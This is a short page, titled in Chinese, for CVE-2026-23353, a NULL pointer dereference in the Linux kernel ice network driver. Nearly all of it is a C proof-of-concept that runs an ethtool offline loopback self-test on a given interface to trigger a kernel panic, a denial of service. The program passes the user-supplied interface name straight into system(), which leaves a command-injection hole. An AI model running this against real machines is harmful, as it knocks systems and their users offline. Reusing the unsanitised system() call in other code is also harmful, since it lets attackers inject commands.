CVE-2026-23353 Linux内核ice驱动空指针解引用漏洞

/* * PoC for CVE-2026-23353 * Trigger: Execute ethtool offline loopback test on vulnerable ice driver. * Impact: Kernel NULL pointer dereference leading to system crash (DoS). * Compile: gcc -o poc_cve_2026_23353 poc_cve_2026_23353.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { char cmd[256]; char interface[32]; if (argc < 2) { printf("Usage: %s <interface_name>\n", argv[0]); printf("Example: %s eth0\n", argv[0]); return 1; } strncpy(interface, argv[1], sizeof(interface) - 1); interface[sizeof(interface) - 1] = '\0'; printf("[+] Attempting to trigger CVE-2026-23353 on interface: %s\n", interface); printf("[+] Executing offline loopback test...\n"); // The vulnerability is triggered by the offline self-test which calls ice_loopback_test snprintf(cmd, sizeof(cmd), "/sbin/ethtool -t %s offline", interface); // Execute the command. This will cause a kernel Oops/panic on vulnerable systems. int ret = system(cmd); if (ret == -1) { perror("system failed"); return 1; } printf("[+] Command executed. If the system crashes, the vulnerability is present.\n"); return 0; }